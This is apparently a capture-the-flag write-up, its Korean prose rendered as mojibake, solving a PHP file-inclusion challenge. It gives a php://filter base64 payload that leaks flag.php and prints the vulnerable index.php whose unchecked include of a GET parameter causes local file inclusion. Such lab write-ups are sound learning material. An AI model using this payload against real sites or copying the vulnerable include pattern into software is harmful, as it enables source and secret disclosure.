๐ฉ ๋ฌธ์ ํ์
๋ฌธ์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด /?file=hello
๋ผ๋ url๋ก ์ฐ๊ฒฐ๋๊ณ , hello.php
๋ผ๋ ํ์ผ์ ๋ด์ฉ์ด ์ถ๋ ฅ๋๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ ํ์ด์ง๋ฅผ ํ์ธํ ์ ์๋ค. ์ด๋ก ๋ณด์, url์ ํ๋ผ๋ฏธํฐ๋ก ํ์ผ๋ช
์ ์ ๋ฌํ๋ฉด ํด๋น ํ์ผ์ ์ฝ์ ์ ์๋ ๊ฒ์ ์ ์ ์๋ค.
/?file=index
๋ก ์์ฒญํ๋ฉด ์๋ฌด๋ฐ ๊ฒฐ๊ณผ๋ ๋ฐ์ ์ ์์ผ๋, /?file=flag
๋ก ์์ฒญํ๋ฉด ์์ ๊ฐ์ด FLAG is in the code๋ผ๋ ๋ฌธ์์ด์ ํ์ธํ ์ ์๋ค. ์ด๋ flag.php
๋ผ๋ ํ์ผ์ ์ฝ์ ๊ฒ์ด ์๋๋ผ ์คํํ ๊ฒ์ผ๋ก ์ ์ถํ ์ ์๊ณ , ํ๋๊ทธ ๊ฐ์ ํด๋น ํ์ผ์ ์ฝ์ด์ผ ์ ์ ์๋ ๊ฒ์ผ๋ก ์ ์ถํ ์ ์๋ค.
๐ฉ ๋ฌธ์ ํ์ด
์ด๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์๋ PHP Wrappers๋ผ๋ ๊ฐ๋ ์ด ํ์ํ๋ค. PHP Wrapper๋ ํ์ผ ์์คํ ํจ์์ ํจ๊ป ์ฌ์ฉํ๊ธฐ ์ํ ๋ค์ํ URL ์คํ์ผ ํ๋กํ ์ฝ์ ๋ด์ฅ wrapper๊ฐ ์ ๊ณตํ๋ ๊ฒ์ ๋งํ๋ค. PHP ๊ณต์ ๋ฌธ์์์ ์์ธํ ๋ด์ฉ์ ํ์ธํ ์ ์๋ค.
๊ณต์ ๋ฌธ์์์ wrapper์ ์ข
๋ฅ๋ฅผ ํ์ธํ ์ ์๋๋ฐ, ์ด ์ค์์ ์ฐ๋ฆฌ๋ ํ์ผ์ ์ฝ์ด์ผ ํ๊ธฐ ๋๋ฌธ์ I/O streams์ ๊ด๋ จ๋ php://
wrapper๋ฅผ ์ฌ์ฉํ ๊ฒ์ด๋ค.
๊ทธ ์ค php://filter
๋ฅผ ์ฌ์ฉํ๋ฉด ํ๋ผ๋ฏธํฐ๋ฅผ ์ด์ฉํ์ฌ ํน์ ํ์ผ ๊ฒฝ๋ก์ ํ์
๋ฑ์ ์ง์ ํ ์ ์๋ค. php์์ ์ ๊ณตํ๋ filter์ ๋ฆฌ์คํธ๋ ๊ณต์ ๋ฌธ์์์ ์ฐพ์๋ณผ ์ ์๋๋ฐ, ์ฌ๋ฌ ํํฐ๋ฅผ ์ด์ฉํ์ฌ ํ์ผ์ ์ถ์ถํ ์ ์์๋ค.
์ฌ์ฉ ๋ฐฉ๋ฒ์ php://filter/read={์ ์ฉํ๋ ค๋ ํํฐ}/resource={ํ์ผ ๊ฒฝ๋ก}
์ด๋ค.
ํ์ผ์ ์ถ์ถํ ์ ์์๋ ํํฐ๋ string.rot13
, convert.base64-encode
, convert.quoted-printable-encode
๋ฑ์ด ์์๋ค.
์ฌ์ฉ ๊ฐ๋ฅํ ํํฐ ์ค convert.base64-encode
๋ฅผ ์ด์ฉํ์ฌ url ํ์ด๋ก๋๋ฅผ ๋ง๋ค๋ฉด php://filter/read=convert.base64-encode/resource=./flag
์ ๊ฐ์ด ๊ตฌ์ฑํ ์ ์๊ณ , ์ด๋ฅผ ํฌํจํ์ฌ ์์ฒญํ๋ฉด ์์ ๊ฐ์ด base64๋ก ์ธ์ฝ๋ฉ๋ ๊ฐ์ ์ป์ ์ ์๋ค.
1
2
3
4
<?php
echo "FLAG is in the code";
$flag = "FLAG{this_is_your_first_flag}";
?>
์ด๋ฅผ decode ํ ๊ฐ์์ ํ๋๊ทธ๋ฅผ ์ฐพ์ ์ ์๋ค.
๐ฉ ์ถ๊ฐ ๋ถ์
1
2
3
4
5
6
7
8
9
10
11
<?php
echo("<pre>");
system("ls -al");
echo("</pre>");
if(!$_GET['file']) echo("<meta http-equiv=refresh content=0;url=?file=hello>");
echo "<hr><textarea rows=10 cols=100>";
$file = $_GET['file'].".php";
if($file == "index.php") exit(); // anti infinite loop
include $file;
echo "</textarea>";
?>
๊ฐ์ ๋ฐฉ์์ผ๋ก index.php
ํ์ผ์ ์ถ์ถํ ์ ์๋๋ฐ, include $file;
๋ถ๋ถ์์ LFI ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.